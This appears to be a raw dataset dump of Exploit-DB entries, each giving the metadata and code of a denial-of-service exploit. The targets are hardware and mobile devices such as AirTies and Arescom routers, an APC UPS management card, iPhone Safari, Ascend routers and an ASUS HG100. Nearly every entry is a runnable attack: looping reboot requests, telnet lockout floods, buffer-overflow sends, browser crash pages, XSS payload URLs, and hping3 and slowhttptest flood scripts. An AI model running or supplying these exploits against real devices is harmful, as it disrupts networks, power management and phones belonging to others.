deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18336
Description: AirTies-4450 - Unauthorized Remote Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2012-01-08
Author: rigan

Exploit:
#!/usr/bin/perl
#
# Title: AirTies-4450 Unauthorized Remote Reboot [DoS].
# Type: hardware
# Tested on firmware: AirTies_Air4450_RU_FW_1.1.2.18.bin
# 
# Author: rigan - imrigan [sobachka] gmail.com
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# 
# The description of the device from a site of the vendor:
#
# With its Access Point and Router functionality, the Air 4450 provides wireless Internet access over 
# ADSL and Cable modems. Air 4450 uses 802.11n technology providing wireless data transfer
# rates of up to 300 Mbps. Thus, you can transfer data, watch videos or upload your pictures to the 
# Internet at “N-speed”. Providing 6 times faster wireless communications compared to earlier 
# technologies, and 4 times greater wireless range through use of MIMO technology*, Air 4450 has
# been developed to meet all your wireless needs.
# 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# 
# The vulnerability:
# 
# http://192.168.1.1/cgi-bin/loader - This cgi script allows to reboot the device via GET request.
# 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
use LWP::Simple;
print "[*] AirTies Air-4450 Remote Dos Exploit\n";
if (@ARGV != 2){
   print "[*] Usage: perl airdos.pl ip port   \n";
   exit(1); 
}
while (@ARGV > 0){
   $ip = shift(@ARGV);
   $port = shift(@ARGV);
}
$url = "http://".$ip.":".$port."/cgi-bin/".loader;
print "[*] DoS ...............................\n";
while(1){
get($url);
sleep(15);
}
Exploit-DB #35939
Description: Alice Modem 1111 - 'rulename' Cross-Site Scripting / Denial of Service
Type: dos
Platform: hardware
Date: 2011-07-12
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/48642/info

The Alice Modem is prone to a cross-site scripting vulnerability and a denial-of-service vulnerability because the device fails to properly handle user-supplied input.

An attacker may leverage these issues to cause a denial-of-service condition or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successfully exploiting the cross-site scripting issue may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99


http://www.example.com/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3=
Exploit-DB #10237
Description: Allegro RomPager 2.10 - URL Request Denial of Service
Type: dos
Platform: hardware
Date: 2000-06-01
Author: netsec

Exploit:
Allegro's RomPager is reported prone to a remote denial of service vulnerability.

If a specifically-malformed request is sent to Allegro's RomPager, it will crash, often crashing the parent device as well. In this manner, network hardware and possibly entire networks can be rendered unusable by any remote attacker using only a browser. 

CVE : CVE-2000-0470
BID : 1290
Other references : OSVDB:1371
Nessus ID : 19304

The following example is made available by Seth Alan Woolley:
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works

the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

$ ping $ip_address # doesn't work
Exploit-DB #20654
Description: APC WEB/SNMP Management Card (9606) Firmware 3.0 - Telnet Administration Denial of Service
Type: dos
Platform: hardware
Date: 2001-02-26
Author: altomo

Exploit:
source: https://www.securityfocus.com/bid/2430/info

Symmetra is an Uninterruptable Power Supply manufactured by American Power Conversation Corporation (APC). Symmetra supports network options that allow a remote administrator to access the system via telnet, and gather information from the power supply via SNMP.

A problem with the network software used with the Symmetra can allow a denial of service to the system, thus preventing administrative access. This problem is due to the handling of the telnet protocol by the firmware of the power supply. The system does not support more than one telnet session at a time, and when it encounters three failed login attempts, discontinues access for a configurable period between 1 and 10 minutes.

Therefore, it is possible for a malicious user to launch an remote attack against the telnet service of the power supply, and prevent administrative access to the power supply for the duration of the attack. This vulnerability may affect other APC UPS products as well. 

#!/usr/bin/perl
#altomo@nudehackers.com
#apc management card dos

$user = "blacksun";
$time = "$ARGV[1]";

use IO::Socket;
$ip = "$ARGV[0]";
$port = "23";
if ($#ARGV<0) {
print " useage: $0 <hostname> <delay in seconds>\n";
exit();
}
$socket = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$port,);


print "Apc management card DoS\n";
print "altomo\@nudehackers.com\n";


sub dos() {
print "DoS started will attack every $time seconds\n";
print "Ctrl+C to exit\n";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print $socket "$user\r";
print "\n";
close $socket;
sleep($time);          
&dos;

}
&dos;
#hong kong danger duo
Exploit-DB #4978
Description: Apple iOS 1.1.2 - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-01-24
Author: c0ntex

Exploit:
<html><body><script>

function Demo() {

	var shellcode;
	var addr;
	var fill;
			
	alert('attempting a crash!');
	shellcode = unescape('%u0c0c');
	fill = unescape('%ucccc');
	addr = 0x02020202;
		
	var b = fill;
	while (b.length <= 0x40000) b+=b;

	var c = new Array();
	for (var i =0; i<36; i++) {
		c[i] = 
			b.substring(0,  0x100000 - shellcode.length) + shellcode +
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode;
	}
	
}

</script>

<input type='button' onClick='Demo()' value='Go!'>

</body></html>

# milw0rm.com [2008-01-24]
Exploit-DB #32341
Description: Apple iOS 1.1.4/2.0 / iPod 1.1.4/2.0 touch Safari WebKit - 'alert()' Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-09-12
Author: Nicolas Economou

Exploit:
source: https://www.securityfocus.com/bid/31061/info

Apple iPhone and iPod touch are prone to a remote denial-of-service vulnerability that occurs in the WebKit library used by the Safari browser.

Remote attackers can exploit this issue to crash the affected browser installed on the devices, denying service to legitimate users.

The following devices and corresponding firmware are affected:

iPhone 1.1.4 and 2.0
iPod touch 1.1.4 and 2.0

<html> <body> <form> <script type="text/javascript" language="JavaScript"> var st = "A"; alert ( "Crashing Safari on iPhone..." ); for ( var d = 1 ; d <= 16 ; d ++ ) { st += st; } alert ( st ); </script> </form> </body> </html>
Exploit-DB #15794
Description: Apple iOS Safari - 'decodeURI' Remote Crash
Type: dos
Platform: hardware
Date: 2010-12-20
Author: Yakir Wizman

Exploit:
<?php
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURI("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURI) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code 	= "<html>
	<head>
		<title>Apple iPhone 3 Safari (JavaScript - decodeURI) Remote Crash</title>
	</head>
	<script type='text/javascript'>
		decodeURI('{$string}');
	</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
	echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
	echo("Cannot create file.\r\n");
}
?>
Exploit-DB #15796
Description: Apple iOS Safari - 'decodeURIComponent' Remote Crash
Type: dos
Platform: hardware
Date: 2010-12-21
Author: Yakir Wizman

Exploit:
<?php
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURIComponent("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURIComponent) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code 	= "<html>
	<head>
		<title>Apple iPhone 3 Safari (JavaScript - decodeURIComponent) Remote Crash</title>
	</head>
	<script type='text/javascript'>
		decodeURIComponent('{$string}');
	</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
	echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
	echo("Cannot create file.\r\n");
}
?>
Exploit-DB #15805
Description: Apple iOS Safari - 'JS .' Remote Crash
Type: dos
Platform: hardware
Date: 2010-12-22
Author: Yakir Wizman

Exploit:
<?php
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * . = "A X 20000120";
# -----------------------------------
# Exploit Title: Apple iPhone Safari (JS '.' / dot) Remote Crash
# Date: 21/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 20000120);
$code 	= "<html>
	<head>
		<title>Apple iPhone 3 Safari (JavaScript - dot / '.') Remote Crash</title>
	</head>
	<script type='text/javascript'>
		. = '{$string}';
	</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
	echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
	echo("Cannot create file.\r\n");
}
?>
Exploit-DB #15792
Description: Apple iOS Safari - body alink Remote Crash
Type: dos
Platform: hardware
Date: 2010-12-20
Author: Yakir Wizman

Exploit:
<?php
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created(crash.html) file and see what happen ;)
# The vulnerable tag is:
# * <body alink="A x 12000085">
# -----------------------------------
# Exploit Title: Apple iPhone Safari (body alink) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3, IOS 4.0.1 MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code 	= "<html>
	<head>
		<title>Apple iPhone Safari (body alink) Remote Crash</title>
	</head>
	<body alink='{$string}'>
	</body>
</html>";
if(file_put_contents("./crash.html", $code)) {
	echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
	echo("Cannot create file.\r\n");
}
?>
Exploit-DB #9666
Description: Apple Safari IPhone - using tel: Remote Crash
Type: dos
Platform: hardware
Date: 2009-09-14
Author: cloud

Exploit:
# Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

<?php
set_time_limit(0);
$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?> 

# milw0rm.com [2009-09-14]
Exploit-DB #39225
Description: Apple watchOS 2 - Crash (PoC)
Type: dos
Platform: hardware
Date: 2016-01-12
Author: Mohammad Reza Espargham

Exploit:
#[+] Title:  Apple watchOS - Remote Crash Exploit
#[+] Product: Apple
#[+] Vendor: www.apple.com
#[+] SoftWare Link : www.apple.com/watchos-2/
#[+] Vulnerable Version(s): watchOS on IOS 9.0.1
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham


#  1. open your phone Clock / goto Alarm
# 2. add alarm / set time [for example two minutes later]
# 3. click label /  input 5000 x “0"
# 4. Save
# 5. Lock Your phone and wait for alarm
# 6. When the alarm clock rings / Watch Crashed ;)
Exploit-DB #9067
Description: ARD-9808 DVR Card Security Camera - GET Remote Denial of Service
Type: dos
Platform: hardware
Date: 2009-07-01
Author: Stack

Exploit:
import socket
import sys
print "----------------------------------------------------------------"
print " ARD-9808 DVR Card Security Camera <= Remote Denial Of Service  "
print " author: Stack                                                  "
print "----------------------------------------------------------------"
host = "127.0.0.1"
port = 80
try:
       buff = "//.\\" * 1000
       request =  "GET " + buff + " HTTP/1.0"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       raw_input('\n\nExploit completed. Press "Enter" to quit...')
       sys.exit
except:
       raw_input('\n\nUnable to connect. Press "Enter" to quit...')

# milw0rm.com [2009-07-01]
Exploit-DB #1464
Description: Arescom NetDSL-1000 - 'TelnetD' Remote Denial of Service
Type: dos
Platform: hardware
Date: 2006-02-02
Author: Fabian Ramirez

Exploit:
/*
    Do you want to hack? les`t go .. free your mind
    Tu veux etre un hacker? allez .. if faut libere ta tete!
    Quieres hackear? dale .. libera tu mente
    
    Vulnerabilidad en modem Arescom NetDSL-1000 
    por un buffer overflow debido < [255] en la pila stack.
    
    DoS atack por Fabian Ramirez S. <framirez@akori.fr>	
						www.framirez.com


	  If you flood the telnet configuration a couple dozen times with long
	strings, eventually the telnetd service flat out dies. Routing functions
	of the NetDSL continue to work fine as before. It is unknown whether only
	the telnetd service is affected, other means of remote configuration may
	have become unavailable as well.

	Remember:   KING
    
    Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>        

#define PORT 23
#define MAXDATASIZE 100   

char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";

int main(int argc, char *argv[])
{
   int fd, numbytes,i;
   char buf[MAXDATASIZE];  
   struct hostent *he;         
   struct sockaddr_in server;  

   printf("Exploit Arescom NetDSL-1000 executing\n");
   printf ("	 		  by framirez\n");
   
   if (argc !=2) { 
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }


    
   if ((he=gethostbyname(argv[1]))==NULL){       
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  
      printf("socket() error\n");
      exit(-1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(PORT); 
   server.sin_addr = *((struct in_addr *)he->h_addr);  

   if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){ 
      printf("ERROR conectando al host\n");
      exit(-1);
   }
      
    for (i=0;i<3;i++)
    {
    send(fd,shellcode,255,0);
    }
    
    printf ("Exploit enviado con EXITO al destinatario\n");
    printf ("				   by framirez\n");

   close(fd); 

  return 1;
}

// milw0rm.com [2006-02-02]
Exploit-DB #20332
Description: Ascend R 4.5 Ci12 - Denial of Service
Type: dos
Platform: hardware
Date: 1998-03-17
Author: Rootshell

Exploit:
#
#source: https://www.securityfocus.com/bid/1855/info
# 
#A vulnerability exists in the operating system of some Ascend routers. If an invalid TCP packet (of zero length) is sent to the administration port of Ascend Routers 4.5Ci12 #or earlier, the result will be a crash and reboot of the attacked router, accomplishing a denial of service attack.
# 
#Note that 3Com is reportedly also vulnerable, but it is not verified which versions of IOS are exploitable.
#

#!/usr/bin/perl

#
# Ascend Kill II - perl version
# (C) 1998 Rootshell - http://www.rootshell.com/ - <info@rootshell.com>
#
# Released: 3/17/98
#
# Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
# (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
#
#  NOTE: This program is NOT to be used for malicous purposes.  This is
#        intenteded for educational purposes only.  By using this program
#        you agree to use this for lawfull purposes ONLY.
#
#

use Socket;

require "getopts.pl";

sub AF_INET {2;}
sub SOCK_DGRAM {2;}

sub ascend_kill {
  $remotehost = shift(@_);
  chop($hostname = `hostname`);
  $port = 9;
  $SIG{'INT'} = 'dokill';
  $sockaddr = 'S n a4 x8';
  ($pname, $aliases, $proto) = getprotobyname('tcp');
  ($pname, $aliases, $port) = getservbyname($port, 'tcp')
  unless $port =~ /^\d+$/;
  ($pname, $aliases, $ptype, $len, $thisaddr) =
  gethostbyname($hostname);
  $this = pack($sockaddr, AF_INET, 0, $thisaddr);
  ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
  $that = pack($sockaddr, AF_INET, $port, $thataddr);
  socket(S, &AF_INET, &SOCK_DGRAM, 0);
    $msg = pack("c64",
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53);
  for ($i=0; $i<500; $i++) {
    $msg .= pack("c1", 0xff);
  }
  send(S,$msg,0,$that) || die "send:$!";
}

if ($ARGV[0] eq '') {
  print "usage: akill2.pl <remote_host>\n";
  exit;
}

&ascend_kill($ARGV[0]);
Exploit-DB #46720
Description: ASUS HG100 - Denial of Service
Type: dos
Platform: hardware
Date: 2019-04-17
Author: YinT Wang

Exploit:
# Exploit Title:ASUS HG100 devices denial of service(DOS) via IPv4 packets/SlowHTTPDOS 
# Date: 2019-04-14 # Exploit Author: YinT Wang; 
# Vendor Homepage: www.asus.com 
# Version: Hardware version: HG100 、Firmware version:  1.05.12   
# Tested on: Currnet 1.05.12 
# CVE : CVE-2018-11492

1. Description 
The attack at same Local-Network-area could crash the device via the Hping3 or Slowhttptest(which is not include in the CVE-2018-11492).

2.Proof of Concept
Just Execute the following script in kali which could crash the devices

    1. IPv4 packet and in result of devices crash.which written in linux script.

        #needed to co-operate with hping3 tool
        #with the time period at least 220s which could cause web server of HG100 devices crash
        #!/bin/bash
        read -p "enter the ip of HG100 here " url
        hping3 -V -c 10000 -S -w 64 --flood --rand-source $url
        sleep 220
        echo "Hping3 –V –c 10000 –S –w 64 –flood –rand-source $url time 220s"
        exit 0

    2.Slowhttp test and caused the devices crash.which written in linux script.

        #needed to co-operate with slowhttptest tool
        #with the time period 600s which could cause web server of HG100 devices crash
        #!/bin/bash
        read -p "enter the ip of HG100 with port here ex: http://x.x.x.x:123 " url
        slowhttptest -H -R -c 10000 -l 600 -u $url
        sleep 600
        echo "slowhttptest -H -R -c 10000 -l 600 -u $url time 600s"
        exit 0
Exploit-DB #22797
Description: Avaya Cajun P130/P133/P330/P333 Network Switch - Connection Stalling Denial of Service
Type: dos
Platform: hardware
Date: 2003-06-18
Author: Jacek Lipkowski

Exploit:
source: https://www.securityfocus.com/bid/7961/info

It has been reported that Cajun switches do not properly handle traffic to port 4000. Because of this, an attacker may be able to cause the switch to stall for period of time. 

The following proof of concept string has been made available:

\x80dupa